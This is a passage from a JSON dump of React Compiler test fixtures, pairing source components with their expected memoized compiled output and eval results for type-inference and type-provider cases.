    "content": "\n## Input\n\n```javascript\nfunction component() {\n  let x = {t: 1};\n  let p = x.t;\n  return p;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { t: 1 };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  const p = x.t;\n  return p;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 1"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-field-load.js",
    "content": "function component() {\n  let x = {t: 1};\n  let p = x.t;\n  return p;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-inference-array-from.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useIdentity, ValidateMemoization} from 'shared-runtime';\n\n/**\n * Fixture to assert that we can infer the type and effects of an array created\n * with `Array.from`.\n */\nfunction Validate({x, val1, val2}) {\n  'use no memo';\n  return (\n    <>\n      <ValidateMemoization\n        inputs={[val1]}\n        output={x[0]}\n        onlyCheckCompiled={true}\n      />\n      <ValidateMemoization\n        inputs={[val2]}\n        output={x[1]}\n        onlyCheckCompiled={true}\n      />\n    </>\n  );\n}\nfunction useFoo({val1, val2}) {\n  'use memo';\n  const x = Array.from([]);\n  useIdentity();\n  x.push([val1]);\n  x.push([val2]);\n  return <Validate x={x} val1={val1} val2={val2} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{val1: 1, val2: 2}],\n  params: [\n    {val1: 1, val2: 2},\n    {val1: 1, val2: 2},\n    {val1: 1, val2: 3},\n    {val1: 4, val2: 2},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useIdentity, ValidateMemoization } from \"shared-runtime\";\n\n/**\n * Fixture to assert that we can infer the type and effects of an array created\n * with `Array.from`.\n */\nfunction Validate({ x, val1, val2 }) {\n  \"use no memo\";\n  return (\n    <>\n      <ValidateMemoization\n        inputs={[val1]}\n        output={x[0]}\n        onlyCheckCompiled={true}\n      />\n\n      <ValidateMemoization\n        inputs={[val2]}\n        output={x[1]}\n        onlyCheckCompiled={true}\n      />\n    </>\n  );\n}\nfunction useFoo(t0) {\n  \"use memo\";\n  const $ = _c(9);\n  const { val1, val2 } = t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = [];\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  const x = Array.from(t1);\n  useIdentity();\n  let t2;\n  if ($[1] !== val1) {\n    t2 = [val1];\n    $[1] = val1;\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  x.push(t2);\n  let t3;\n  if ($[3] !== val2) {\n    t3 = [val2];\n    $[3] = val2;\n    $[4] = t3;\n  } else {\n    t3 = $[4];\n  }\n  x.push(t3);\n  let t4;\n  if ($[5] !== val1 || $[6] !== val2 || $[7] !== x) {\n    t4 = <Validate x={x} val1={val1} val2={val2} />;\n    $[5] = val1;\n    $[6] = val2;\n    $[7] = x;\n    $[8] = t4;\n  } else {\n    t4 = $[8];\n  }\n  return t4;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ val1: 1, val2: 2 }],\n  params: [\n    { val1: 1, val2: 2 },\n    { val1: 1, val2: 2 },\n    { val1: 1, val2: 3 },\n    { val1: 4, val2: 2 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[1],\"output\":[1]}</div><div>{\"inputs\":[2],\"output\":[2]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-inference-array-from.js",
    "content": "import {useIdentity, ValidateMemoization} from 'shared-runtime';\n\n/**\n * Fixture to assert that we can infer the type and effects of an array created\n * with `Array.from`.\n */\nfunction Validate({x, val1, val2}) {\n  'use no memo';\n  return (\n    <>\n      <ValidateMemoization\n        inputs={[val1]}\n        output={x[0]}\n        onlyCheckCompiled={true}\n      />\n      <ValidateMemoization\n        inputs={[val2]}\n        output={x[1]}\n        onlyCheckCompiled={true}\n      />\n    </>\n  );\n}\nfunction useFoo({val1, val2}) {\n  'use memo';\n  const x = Array.from([]);\n  useIdentity();\n  x.push([val1]);\n  x.push([val2]);\n  return <Validate x={x} val1={val1} val2={val2} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{val1: 1, val2: 2}],\n  params: [\n    {val1: 1, val2: 2},\n    {val1: 1, val2: 2},\n    {val1: 1, val2: 3},\n    {val1: 4, val2: 2},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-log-default-import.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useMemo} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\nimport typedLog from 'shared-runtime';\n\nexport function Component({a, b}) {\n  const item1 = useMemo(() => ({a}), [a]);\n  const item2 = useMemo(() => ({b}), [b]);\n  typedLog(item1, item2);\n\n  return (\n    <>\n      <ValidateMemoization inputs={[a]} output={item1} />\n      <ValidateMemoization inputs={[b]} output={item2} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 1, b: 0},\n    {a: 1, b: 1},\n    {a: 1, b: 2},\n    {a: 2, b: 2},\n    {a: 3, b: 2},\n    {a: 0, b: 0},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useMemo } from \"react\";\nimport { ValidateMemoization } from \"shared-runtime\";\nimport typedLog from \"shared-runtime\";\n\nexport function Component(t0) {\n  const $ = _c(17);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = { a };\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const item1 = t1;\n  let t2;\n  if ($[2] !== b) {\n    t2 = { b };\n    $[2] = b;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const item2 = t2;\n  typedLog(item1, item2);\n  let t3;\n  if ($[4] !== a) {\n    t3 = [a];\n    $[4] = a;\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  let t4;\n  if ($[6] !== item1 || $[7] !== t3) {\n    t4 = <ValidateMemoization inputs={t3} output={item1} />;\n    $[6] = item1;\n    $[7] = t3;\n    $[8] = t4;\n  } else {\n    t4 = $[8];\n  }\n  let t5;\n  if ($[9] !== b) {\n    t5 = [b];\n    $[9] = b;\n    $[10] = t5;\n  } else {\n    t5 = $[10];\n  }\n  let t6;\n  if ($[11] !== item2 || $[12] !== t5) {\n    t6 = <ValidateMemoization inputs={t5} output={item2} />;\n    $[11] = item2;\n    $[12] = t5;\n    $[13] = t6;\n  } else {\n    t6 = $[13];\n  }\n  let t7;\n  if ($[14] !== t4 || $[15] !== t6) {\n    t7 = (\n      <>\n        {t4}\n        {t6}\n      </>\n    );\n    $[14] = t4;\n    $[15] = t6;\n    $[16] = t7;\n  } else {\n    t7 = $[16];\n  }\n  return t7;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 0 }],\n  sequentialRenders: [\n    { a: 0, b: 0 },\n    { a: 1, b: 0 },\n    { a: 1, b: 1 },\n    { a: 1, b: 2 },\n    { a: 2, b: 2 },\n    { a: 3, b: 2 },\n    { a: 0, b: 0 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[0],\"output\":{\"a\":0}}</div><div>{\"inputs\":[0],\"output\":{\"b\":0}}</div>\n<div>{\"inputs\":[1],\"output\":{\"a\":1}}</div><div>{\"inputs\":[0],\"output\":{\"b\":0}}</div>\n<div>{\"inputs\":[1],\"output\":{\"a\":1}}</div><div>{\"inputs\":[1],\"output\":{\"b\":1}}</div>\n<div>{\"inputs\":[1],\"output\":{\"a\":1}}</div><div>{\"inputs\":[2],\"output\":{\"b\":2}}</div>\n<div>{\"inputs\":[2],\"output\":{\"a\":2}}</div><div>{\"inputs\":[2],\"output\":{\"b\":2}}</div>\n<div>{\"inputs\":[3],\"output\":{\"a\":3}}</div><div>{\"inputs\":[2],\"output\":{\"b\":2}}</div>\n<div>{\"inputs\":[0],\"output\":{\"a\":0}}</div><div>{\"inputs\":[0],\"output\":{\"b\":0}}</div>\nlogs: [{ a: 0 },{ b: 0 },{ a: 1 },{ b: 0 },{ a: 1 },{ b: 1 },{ a: 1 },{ b: 2 },{ a: 2 },{ b: 2 },{ a: 3 },{ b: 2 },{ a: 0 },{ b: 0 }]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-log-default-import.tsx",
    "content": "import {useMemo} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\nimport typedLog from 'shared-runtime';\n\nexport function Component({a, b}) {\n  const item1 = useMemo(() => ({a}), [a]);\n  const item2 = useMemo(() => ({b}), [b]);\n  typedLog(item1, item2);\n\n  return (\n    <>\n      <ValidateMemoization inputs={[a]} output={item1} />\n      <ValidateMemoization inputs={[b]} output={item2} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 1, b: 0},\n    {a: 1, b: 1},\n    {a: 1, b: 2},\n    {a: 2, b: 2},\n    {a: 3, b: 2},\n    {a: 0, b: 0},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-log.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useMemo} from 'react';\nimport {typedLog, ValidateMemoization} from 'shared-runtime';\n\nexport function Component({a, b}) {\n  const item1 = useMemo(() => ({a}), [a]);\n  const item2 = useMemo(() => ({b}), [b]);\n  typedLog(item1, item2);\n\n  return (\n    <>\n      <ValidateMemoization inputs={[a]} output={item1} />\n      <ValidateMemoization inputs={[b]} output={item2} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 1, b: 0},\n    {a: 1, b: 1},\n    {a: 1, b: 2},\n    {a: 2, b: 2},\n    {a: 3, b: 2},\n    {a: 0, b: 0},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useMemo } from \"react\";\nimport { typedLog, ValidateMemoization } from \"shared-runtime\";\n\nexport function Component(t0) {\n  const $ = _c(17);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = { a };\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const item1 = t1;\n  let t2;\n  if ($[2] !== b) {\n    t2 = { b };\n    $[2] = b;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const item2 = t2;\n  typedLog(item1, item2);\n  let t3;\n  if ($[4] !== a) {\n    t3 = [a];\n    $[4] = a;\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  let t4;\n  if ($[6] !== item1 || $[7] !== t3) {\n    t4 = <ValidateMemoization inputs={t3} output={item1} />;\n    $[6] = item1;\n    $[7] = t3;\n    $[8] = t4;\n  } else {\n    t4 = $[8];\n  }\n  let t5;\n  if ($[9] !== b) {\n    t5 = [b];\n    $[9] = b;\n    $[10] = t5;\n  } else {\n    t5 = $[10];\n  }\n  let t6;\n  if ($[11] !== item2 || $[12] !== t5) {\n    t6 = <ValidateMemoization inputs={t5} output={item2} />;\n    $[11] = item2;\n    $[12] = t5;\n    $[13] = t6;\n  } else {\n    t6 = $[13];\n  }\n  let t7;\n  if ($[14] !== t4 || $[15] !== t6) {\n    t7 = (\n      <>\n        {t4}\n        {t6}\n      </>\n    );\n    $[14] = t4;\n    $[15] = t6;\n    $[16] = t7;\n  } else {\n    t7 = $[16];\n  }\n  return t7;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 0 }],\n  sequentialRenders: [\n    { a: 0, b: 0 },\n    { a: 1, b: 0 },\n    { a: 1, b: 1 },\n    { a: 1, b: 2 },\n    { a: 2, b: 2 },\n    { a: 3, b: 2 },\n    { a: 0, b: 0 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[0],\"output\":{\"a\":0}}</div><div>{\"inputs\":[0],\"output\":{\"b\":0}}</div>\n<div>{\"inputs\":[1],\"output\":{\"a\":1}}</div><div>{\"inputs\":[0],\"output\":{\"b\":0}}</div>\n<div>{\"inputs\":[1],\"output\":{\"a\":1}}</div><div>{\"inputs\":[1],\"output\":{\"b\":1}}</div>\n<div>{\"inputs\":[1],\"output\":{\"a\":1}}</div><div>{\"inputs\":[2],\"output\":{\"b\":2}}</div>\n<div>{\"inputs\":[2],\"output\":{\"a\":2}}</div><div>{\"inputs\":[2],\"output\":{\"b\":2}}</div>\n<div>{\"inputs\":[3],\"output\":{\"a\":3}}</div><div>{\"inputs\":[2],\"output\":{\"b\":2}}</div>\n<div>{\"inputs\":[0],\"output\":{\"a\":0}}</div><div>{\"inputs\":[0],\"output\":{\"b\":0}}</div>\nlogs: [{ a: 0 },{ b: 0 },{ a: 1 },{ b: 0 },{ a: 1 },{ b: 1 },{ a: 1 },{ b: 2 },{ a: 2 },{ b: 2 },{ a: 3 },{ b: 2 },{ a: 0 },{ b: 0 }]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-log.tsx",
    "content": "import {useMemo} from 'react';\nimport {typedLog, ValidateMemoization} from 'shared-runtime';\n\nexport function Component({a, b}) {\n  const item1 = useMemo(() => ({a}), [a]);\n  const item2 = useMemo(() => ({b}), [b]);\n  typedLog(item1, item2);\n\n  return (\n    <>\n      <ValidateMemoization inputs={[a]} output={item1} />\n      <ValidateMemoization inputs={[b]} output={item2} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 1, b: 0},\n    {a: 1, b: 1},\n    {a: 1, b: 2},\n    {a: 2, b: 2},\n    {a: 3, b: 2},\n    {a: 0, b: 0},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-store-capture-namespace-import.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useMemo} from 'react';\nimport * as SharedRuntime from 'shared-runtime';\n\nexport function Component({a, b}) {\n  const item1 = useMemo(() => ({a}), [a]);\n  const item2 = useMemo(() => ({b}), [b]);\n  const items = useMemo(() => {\n    const items = [];\n    SharedRuntime.typedArrayPush(items, item1);\n    SharedRuntime.typedArrayPush(items, item2);\n    return items;\n  }, [item1, item2]);\n\n  return (\n    <>\n      <SharedRuntime.ValidateMemoization inputs={[a]} output={items[0]} />\n      <SharedRuntime.ValidateMemoization inputs={[b]} output={items[1]} />\n      <SharedRuntime.ValidateMemoization inputs={[a, b]} output={items} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 1, b: 0},\n    {a: 1, b: 1},\n    {a: 1, b: 2},\n    {a: 2, b: 2},\n    {a: 3, b: 2},\n    {a: 0, b: 0},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useMemo } from \"react\";\nimport * as SharedRuntime from \"shared-runtime\";\n\nexport function Component(t0) {\n  const $ = _c(27);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = { a };\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const item1 = t1;\n  let t2;\n  if ($[2] !== b) {\n    t2 = { b };\n    $[2] = b;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const item2 = t2;\n  let items;\n  if ($[4] !== item1 || $[5] !== item2) {\n    items = [];\n    SharedRuntime.typedArrayPush(items, item1);\n    SharedRuntime.typedArrayPush(items, item2);\n    $[4] = item1;\n    $[5] = item2;\n    $[6] = items;\n  } else {\n    items = $[6];\n  }\n  const items_0 = items;\n  let t3;\n  if ($[7] !== a) {\n    t3 = [a];\n    $[7] = a;\n    $[8] = t3;\n  } else {\n    t3 = $[8];\n  }\n  let t4;\n  if ($[9] !== items_0[0] || $[10] !== t3) {\n    t4 = <SharedRuntime.ValidateMemoization inputs={t3} output={items_0[0]} />;\n    $[9] = items_0[0];\n    $[10] = t3;\n    $[11] = t4;\n  } else {\n    t4 = $[11];\n  }\n  let t5;\n  if ($[12] !== b) {\n    t5 = [b];\n    $[12] = b;\n    $[13] = t5;\n  } else {\n    t5 = $[13];\n  }\n  let t6;\n  if ($[14] !== items_0[1] || $[15] !== t5) {\n    t6 = <SharedRuntime.ValidateMemoization inputs={t5} output={items_0[1]} />;\n    $[14] = items_0[1];\n    $[15] = t5;\n    $[16] = t6;\n  } else {\n    t6 = $[16];\n  }\n  let t7;\n  if ($[17] !== a || $[18] !== b) {\n    t7 = [a, b];\n    $[17] = a;\n    $[18] = b;\n    $[19] = t7;\n  } else {\n    t7 = $[19];\n  }\n  let t8;\n  if ($[20] !== items_0 || $[21] !== t7) {\n    t8 = <SharedRuntime.ValidateMemoization inputs={t7} output={items_0} />;\n    $[20] = items_0;\n    $[21] = t7;\n    $[22] = t8;\n  } else {\n    t8 = $[22];\n  }\n  let t9;\n  if ($[23] !== t4 || $[24] !== t6 || $[25] !== t8) {\n    t9 = (\n      <>\n        {t4}\n        {t6}\n        {t8}\n      </>\n    );\n    $[23] = t4;\n    $[24] = t6;\n    $[25] = t8;\n    $[26] = t9;\n  } else {\n    t9 = $[26];\n  }\n  return t9;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 0 }],\n  sequentialRenders: [\n    { a: 0, b: 0 },\n    { a: 1, b: 0 },\n    { a: 1, b: 1 },\n    { a: 1, b: 2 },\n    { a: 2, b: 2 },\n    { a: 3, b: 2 },\n    { a: 0, b: 0 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[0],\"output\":{\"a\":0}}</div><div>{\"inputs\":[0],\"output\":{\"b\":0}}</div><div>{\"inputs\":[0,0],\"output\":[{\"a\":0},{\"b\":0}]}</div>\n<div>{\"inputs\":[1],\"output\":{\"a\":1}}</div><div>{\"inputs\":[0],\"output\":{\"b\":0}}</div><div>{\"inputs\":[1,0],\"output\":[{\"a\":1},{\"b\":0}]}</div>\n<div>{\"inputs\":[1],\"output\":{\"a\":1}}</div><div>{\"inputs\":[1],\"output\":{\"b\":1}}</div><div>{\"inputs\":[1,1],\"output\":[{\"a\":1},{\"b\":1}]}</div>\n<div>{\"inputs\":[1],\"output\":{\"a\":1}}</div><div>{\"inputs\":[2],\"output\":{\"b\":2}}</div><div>{\"inputs\":[1,2],\"output\":[{\"a\":1},{\"b\":2}]}</div>\n<div>{\"inputs\":[2],\"output\":{\"a\":2}}</div><div>{\"inputs\":[2],\"output\":{\"b\":2}}</div><div>{\"inputs\":[2,2],\"output\":[{\"a\":2},{\"b\":2}]}</div>\n<div>{\"inputs\":[3],\"output\":{\"a\":3}}</div><div>{\"inputs\":[2],\"output\":{\"b\":2}}</div><div>{\"inputs\":[3,2],\"output\":[{\"a\":3},{\"b\":2}]}</div>\n<div>{\"inputs\":[0],\"output\":{\"a\":0}}</div><div>{\"inputs\":[0],\"output\":{\"b\":0}}</div><div>{\"inputs\":[0,0],\"output\":[{\"a\":0},{\"b\":0}]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-store-capture-namespace-import.tsx",
    "content": "import {useMemo} from 'react';\nimport * as SharedRuntime from 'shared-runtime';\n\nexport function Component({a, b}) {\n  const item1 = useMemo(() => ({a}), [a]);\n  const item2 = useMemo(() => ({b}), [b]);\n  const items = useMemo(() => {\n    const items = [];\n    SharedRuntime.typedArrayPush(items, item1);\n    SharedRuntime.typedArrayPush(items, item2);\n    return items;\n  }, [item1, item2]);\n\n  return (\n    <>\n      <SharedRuntime.ValidateMemoization inputs={[a]} output={items[0]} />\n      <SharedRuntime.ValidateMemoization inputs={[b]} output={items[1]} />\n      <SharedRuntime.ValidateMemoization inputs={[a, b]} output={items} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 1, b: 0},\n    {a: 1, b: 1},\n    {a: 1, b: 2},\n    {a: 2, b: 2},\n    {a: 3, b: 2},\n    {a: 0, b: 0},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-store-capture.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useMemo} from 'react';\nimport {typedArrayPush, ValidateMemoization} from 'shared-runtime';\n\nexport function Component({a, b}) {\n  const item1 = useMemo(() => ({a}), [a]);\n  const item2 = useMemo(() => ({b}), [b]);\n  const items = useMemo(() => {\n    const items = [];\n    typedArrayPush(items, item1);\n    typedArrayPush(items, item2);\n    return items;\n  }, [item1, item2]);\n\n  return (\n    <>\n      <ValidateMemoization inputs={[a]} output={items[0]} />\n      <ValidateMemoization inputs={[b]} output={items[1]} />\n      <ValidateMemoization inputs={[a, b]} output={items} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 1, b: 0},\n    {a: 1, b: 1},\n    {a: 1, b: 2},\n    {a: 2, b: 2},\n    {a: 3, b: 2},\n    {a: 0, b: 0},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useMemo } from \"react\";\nimport { typedArrayPush, ValidateMemoization } from \"shared-runtime\";\n\nexport function Component(t0) {\n  const $ = _c(27);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = { a };\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const item1 = t1;\n  let t2;\n  if ($[2] !== b) {\n    t2 = { b };\n    $[2] = b;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const item2 = t2;\n  let items;\n  if ($[4] !== item1 || $[5] !== item2) {\n    items = [];\n    typedArrayPush(items, item1);\n    typedArrayPush(items, item2);\n    $[4] = item1;\n    $[5] = item2;\n    $[6] = items;\n  } else {\n    items = $[6];\n  }\n  const items_0 = items;\n  let t3;\n  if ($[7] !== a) {\n    t3 = [a];\n    $[7] = a;\n    $[8] = t3;\n  } else {\n    t3 = $[8];\n  }\n  let t4;\n  if ($[9] !== items_0[0] || $[10] !== t3) {\n    t4 = <ValidateMemoization inputs={t3} output={items_0[0]} />;\n    $[9] = items_0[0];\n    $[10] = t3;\n    $[11] = t4;\n  } else {\n    t4 = $[11];\n  }\n  let t5;\n  if ($[12] !== b) {\n    t5 = [b];\n    $[12] = b;\n    $[13] = t5;\n  } else {\n    t5 = $[13];\n  }\n  let t6;\n  if ($[14] !== items_0[1] || $[15] !== t5) {\n    t6 = <ValidateMemoization inputs={t5} output={items_0[1]} />;\n    $[14] = items_0[1];\n    $[15] = t5;\n    $[16] = t6;\n  } else {\n    t6 = $[16];\n  }\n  let t7;\n  if ($[17] !== a || $[18] !== b) {\n    t7 = [a, b];\n    $[17] = a;\n    $[18] = b;\n    $[19] = t7;\n  } else {\n    t7 = $[19];\n  }\n  let t8;\n  if ($[20] !== items_0 || $[21] !== t7) {\n    t8 = <ValidateMemoization inputs={t7} output={items_0} />;\n    $[20] = items_0;\n    $[21] = t7;\n    $[22] = t8;\n  } else {\n    t8 = $[22];\n  }\n  let t9;\n  if ($[23] !== t4 || $[24] !== t6 || $[25] !== t8) {\n    t9 = (\n      <>\n        {t4}\n        {t6}\n        {t8}\n      </>\n    );\n    $[23] = t4;\n    $[24] = t6;\n    $[25] = t8;\n    $[26] = t9;\n  } else {\n    t9 = $[26];\n  }\n  return t9;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 0 }],\n  sequentialRenders: [\n    { a: 0, b: 0 },\n    { a: 1, b: 0 },\n    { a: 1, b: 1 },\n    { a: 1, b: 2 },\n    { a: 2, b: 2 },\n    { a: 3, b: 2 },\n    { a: 0, b: 0 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[0],\"output\":{\"a\":0}}</div><div>{\"inputs\":[0],\"output\":{\"b\":0}}</div><div>{\"inputs\":[0,0],\"output\":[{\"a\":0},{\"b\":0}]}</div>\n<div>{\"inputs\":[1],\"output\":{\"a\":1}}</div><div>{\"inputs\":[0],\"output\":{\"b\":0}}</div><div>{\"inputs\":[1,0],\"output\":[{\"a\":1},{\"b\":0}]}</div>\n<div>{\"inputs\":[1],\"output\":{\"a\":1}}</div><div>{\"inputs\":[1],\"output\":{\"b\":1}}</div><div>{\"inputs\":[1,1],\"output\":[{\"a\":1},{\"b\":1}]}</div>\n<div>{\"inputs\":[1],\"output\":{\"a\":1}}</div><div>{\"inputs\":[2],\"output\":{\"b\":2}}</div><div>{\"inputs\":[1,2],\"output\":[{\"a\":1},{\"b\":2}]}</div>\n<div>{\"inputs\":[2],\"output\":{\"a\":2}}</div><div>{\"inputs\":[2],\"output\":{\"b\":2}}</div><div>{\"inputs\":[2,2],\"output\":[{\"a\":2},{\"b\":2}]}</div>\n<div>{\"inputs\":[3],\"output\":{\"a\":3}}</div><div>{\"inputs\":[2],\"output\":{\"b\":2}}</div><div>{\"inputs\":[3,2],\"output\":[{\"a\":3},{\"b\":2}]}</div>\n<div>{\"inputs\":[0],\"output\":{\"a\":0}}</div><div>{\"inputs\":[0],\"output\":{\"b\":0}}</div><div>{\"inputs\":[0,0],\"output\":[{\"a\":0},{\"b\":0}]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-store-capture.tsx",
    "content": "import {useMemo} from 'react';\nimport {typedArrayPush, ValidateMemoization} from 'shared-runtime';\n\nexport function Component({a, b}) {\n  const item1 = useMemo(() => ({a}), [a]);\n  const item2 = useMemo(() => ({b}), [b]);\n  const items = useMemo(() => {\n    const items = [];\n    typedArrayPush(items, item1);\n    typedArrayPush(items, item2);\n    return items;\n  }, [item1, item2]);\n\n  return (\n    <>\n      <ValidateMemoization inputs={[a]} output={items[0]} />\n      <ValidateMemoization inputs={[b]} output={items[1]} />\n      <ValidateMemoization inputs={[a, b]} output={items} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 1, b: 0},\n    {a: 1, b: 1},\n    {a: 1, b: 2},\n    {a: 2, b: 2},\n    {a: 3, b: 2},\n    {a: 0, b: 0},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-tagged-template-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {graphql} from 'shared-runtime';\n\nexport function Component({a, b}) {\n  const fragment = graphql`\n    fragment Foo on User {\n      name\n    }\n  `;\n  return <div>{fragment}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 1, b: 0},\n    {a: 1, b: 1},\n    {a: 1, b: 2},\n    {a: 2, b: 2},\n    {a: 3, b: 2},\n    {a: 0, b: 0},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { graphql } from \"shared-runtime\";\n\nexport function Component(t0) {\n  const $ = _c(1);\n  const fragment = graphql`\n    fragment Foo on User {\n      name\n    }\n  `;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <div>{fragment}</div>;\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 0 }],\n  sequentialRenders: [\n    { a: 0, b: 0 },\n    { a: 1, b: 0 },\n    { a: 1, b: 1 },\n    { a: 1, b: 2 },\n    { a: 2, b: 2 },\n    { a: 3, b: 2 },\n    { a: 0, b: 0 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>\n    fragment Foo on User {\n      name\n    }\n  </div>\n<div>\n    fragment Foo on User {\n      name\n    }\n  </div>\n<div>\n    fragment Foo on User {\n      name\n    }\n  </div>\n<div>\n    fragment Foo on User {\n      name\n    }\n  </div>\n<div>\n    fragment Foo on User {\n      